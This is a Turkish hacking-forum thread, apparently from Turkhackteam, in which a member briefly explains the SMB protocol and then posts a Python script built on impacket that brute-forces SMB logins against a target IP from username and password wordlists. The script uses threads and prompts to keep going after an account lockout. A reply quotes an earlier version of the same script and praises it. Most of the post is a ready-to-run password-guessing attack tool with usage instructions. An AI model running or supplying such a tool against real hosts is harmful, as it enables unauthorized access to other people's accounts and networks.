SMB Brute Force

Çokgen

Katılımcı Üye
4 Eyl 2023
412
196
Merhaba arkadaşlar, bugün SMB'den bahsediceğim.

Peki nedir bu SMB?
SMB


Server Message Block(Sunucu İleti Bloğu), server-client arasındaki iletişimi sağlayan bir ağ protokolüdür. SMB protokolü, Windows sistemlerinin 139(iş yerlerinde çok kullanılır) ve 445 portlarını kullanarak, paylaşılan dosyalara erişimi, ağlar, yazıcılar ve çeşitli bağlantıları sağlar. Bu bağlantıların yanında oplock, dosya ve kayıt kitleme, dosya ve dizin değişikliği gibi işlemler de SMB üzerinden gerçekleşmektedir.

SMB protokolü istemci-sunucu uygulamasıdır ve istemciden gönderilen istekler veya sunucudan gönderilen cevapları içeren veri paketlerini içerir. Bu paketler şu şekilde sınıflandırılabilir;
  • Oturum kontrol paketleri: Paylaşılan sunucu kaynaklarına bağlantıyı sağlar ve bu bağlantıyı sürdürür.
  • Dosya erişim paketleri: Uzak sunucudaki dizin ve dosyalara erişir ve bunları yönetir.
  • Genel mesaj paketleri: Verileri yazdırma kuyruğuna gönderir ve kuyrukların durumu hakkında veri sağlar.


Bir çoğumuzunda bildiği gibi Eternal Blue exploiti SMBv1 protokolünü kullanarak gerçekleşmiştir.

SMB BRUTE FORCE

Artık Windows işletim sistemi SMBv3 Protokolüne geçti. Yani bu Brute force aracı windows 11-10 da işe yaramıyacaktır.

Yakında SMBv3 protokolüne karşı Brute Force kodu deneyebilirim,Neyse konumuza dönelim.


Yazmış olduğum kod:


Python:
from impacket.smb import SMB
import sys
import threading

def smb_brute_force(ip, kullanici, sifre):
    try:
        smb_con = SMB(ip)
        smb_con.login(kullanici.strip(), sifre.strip())
        print("[+] Başarılı giriş:", kullanici.strip(), sifre.strip())
        return True

    except Exception as e:
        msg = str(e)
        if 'STATUS_NO_LOGON_SERVERS' in msg:
            print("[-] Giriş Sunucuları Mevcut Değil:", ip)
            sys.exit(1)
        elif 'STATUS_LOGON_FAILURE' in msg:
            print("[-] Giriş Başarısız Oldu:", ip)
            sys.exit(1)
        elif 'STATUS_ACCOUNT_LOCKED_OUT' in msg:
            print("[-] Hesap Kilitli:", ip)
            answer = input('[!] Bruteforce saldırısına devam etmek ister misiniz? (E/H) ')
            if answer.lower() not in ["e", "evet", ""]:
                print("[-] Çıkılıyor...")
                sys.exit(1)
        elif 'STATUS_PASSWORD_MUST_CHANGE' in msg or 'STATUS_ACCESS_DENIED' in msg or 'STATUS_LOGON_TYPE_NOT_GRANTED' in msg or 'STATUS_PASSWORD_EXPIRED' in msg:
            print("[+] Başarılı (Hesap Aktif)")
        elif 'STATUS_ACCOUNT_DISABLED' in msg:
            print("[-] Geçerli Şifre (Hesap Devre Dışı)")
        else:
            print("[-] Bilinmeyen Hata:", msg)

def main():
    if len(sys.argv) < 2:
        print("Kullanım: python dosya_adi.py ip_adresi [kullanici_dosyasi sifre_dosyasi]")
        sys.exit(1)

    ip = sys.argv[1]
    kullanici_dosyasi = None
    sifre_dosyasi = None

    kullanici_listesi = []
    sifre_listesi = []

    if input("Kullanıcı, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
        if len(sys.argv) < 3:
            print("Brute Force adı dosyası belirtilmedi!")
            sys.exit(1)
        kullanici_dosyasi = sys.argv[2]
        with open(kullanici_dosyasi, "r") as dosya:
            kullanici_listesi = dosya.read().strip().splitlines()

    if input("Şifre, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
        if len(sys.argv) < 4:
            print("Şifre dosyası belirtilmedi!")
            sys.exit(1)
        sifre_dosyasi = sys.argv[3]
        with open(sifre_dosyasi, "r") as dosya:
            sifre_listesi = dosya.read().strip().splitlines()

    thread_sayisi = int(input("Kaç tane thread kullanmak istiyorsunuz? (varsayılan: 5): ") or 5)

    threads = []

    for kullanici in kullanici_listesi:
        for sifre in sifre_listesi:
            thread = threading.Thread(target=smb_brute_force, args=(ip, kullanici, sifre))
            threads.append(thread)


    for i in range(0, len(threads), thread_sayisi):
        thread_group = threads[i:i+thread_sayisi]
        for thread in thread_group:
            thread.start()
        for thread in thread_group:
            thread.join()

if __name__ == "__main__":
    main()


Kodun kullanımı:
python dosya.py hedef_ip kullanici_dosyasi sifre_dosyasi

Kod Mükemmel olmasa da ileri konularda daha da iyilerini yapmaya çalışıcağım.




Konumu okuduğunuz için teşekkürler

 
Son düzenleme:

Bunjo

Uzman üye
14 Ara 2020
1,587
1,883
HTTParty
Merhaba arkadaşlar, bugün SMB'den bahsediceğim.

Peki nedir bu SMB?
SMB


Server Message Block(Sunucu İleti Bloğu), server-client arasındaki iletişimi sağlayan bir ağ protokolüdür. SMB protokolü, Windows sistemlerinin 139(iş yerlerinde çok kullanılır) ve 445 portlarını kullanarak, paylaşılan dosyalara erişimi, ağlar, yazıcılar ve çeşitli bağlantıları sağlar. Bu bağlantıların yanında oplock, dosya ve kayıt kitleme, dosya ve dizin değişikliği gibi işlemler de SMB üzerinden gerçekleşmektedir.

SMB protokolü istemci-sunucu uygulamasıdır ve istemciden gönderilen istekler veya sunucudan gönderilen cevapları içeren veri paketlerini içerir. Bu paketler şu şekilde sınıflandırılabilir;
  • Oturum kontrol paketleri: Paylaşılan sunucu kaynaklarına bağlantıyı sağlar ve bu bağlantıyı sürdürür.
  • Dosya erişim paketleri: Uzak sunucudaki dizin ve dosyalara erişir ve bunları yönetir.
  • Genel mesaj paketleri: Verileri yazdırma kuyruğuna gönderir ve kuyrukların durumu hakkında veri sağlar.


Bir çoğumuzunda bildiği gibi Eternal Blue exploiti SMBv1 protokolünü kullanarak gerçekleşmiştir.

SMB BRUTE FORCE

Artık Windows işletim sistemi SMBv3 Protokolüne geçti. Yani bu Brute force aracı windows 11-10 da işe yaramıyacaktır.

Yakında SMBv3 protokolüne karşı Brute Force kodu deneyebilirim,Neyse konumuza dönelim.


Yazmış olduğum kod:


Python:
from impacket.smb import SMB
import sys

if len(sys.argv) < 2:
    print("Kullanım: python dosya_adi.py ip_adresi [kullanici_dosyasi sifre_dosyasi]")
    sys.exit(1)

ip = sys.argv[1]

kullanici = None
sifre = None

if input("Kullanıcı, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
    if len(sys.argv) < 3:
        print("Brute Force adı dosyası belirtilmedi!")
        sys.exit(1)
    kullanici_dosyasi = sys.argv[2]
    with open(kullanici_dosyasi, "r") as dosya:
        kullanici = dosya.read().strip()

if input("Şifre, brute force mu olacak yoksa biliniyor mu? (Y/n): ").upper() == "Y":
    if len(sys.argv) < 4:
        print("Şifre dosyası belirtilmedi!")
        sys.exit(1)
    sifre_dosyasi = sys.argv[3]
    with open(sifre_dosyasi, "r") as dosya:
        sifre = dosya.read().strip()

def smb_brute_force():
    try:
        smb_con = SMB(ip)
        smb_con.login(kullanici.strip(), sifre.strip())
        print("[+] Başarılı giriş:", kullanici.strip(), sifre.strip())
        return True

    except Exception as e:
        msg = str(e)
        if 'STATUS_NO_LOGON_SERVERS' in msg:
            print("[-] Giriş Sunucuları Mevcut Değil:", ip)
            sys.exit(1)
        elif 'STATUS_LOGON_FAILURE' in msg:
            print("[-] Giriş Başarısız Oldu:", ip)
            sys.exit(1)
        elif 'STATUS_ACCOUNT_LOCKED_OUT' in msg:
            print("[-] Hesap Kilitli:", ip)
            answer = input('[!] Bruteforce saldırısına devam etmek ister misiniz? (E/H) ')
            if answer.lower() not in ["e", "evet", ""]:
                print("[-] Çıkılıyor...")
                sys.exit(1)
        elif 'STATUS_PASSWORD_MUST_CHANGE' in msg or 'STATUS_ACCESS_DENIED' in msg or 'STATUS_LOGON_TYPE_NOT_GRANTED' in msg or 'STATUS_PASSWORD_EXPIRED' in msg:
            print("[+] Başarılı (Hesap Aktif)")
        elif 'STATUS_ACCOUNT_DISABLED' in msg:
            print("[-] Geçerli Şifre (Hesap Devre Dışı)")
        else:
            print("[-] Bilinmeyen Hata:", msg)

smb_brute_force()


Kodun kullanımı:
python dosya.py hedef_ip kullanici_dosyasi sifre_dosyasi

Kod Mükemmel olmasa da ileri konularda daha da iyilerini yapmaya çalışıcağım.




Konumu okuduğunuz için teşekkürler

Eline sağlık, güzel çalışma olmuş.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.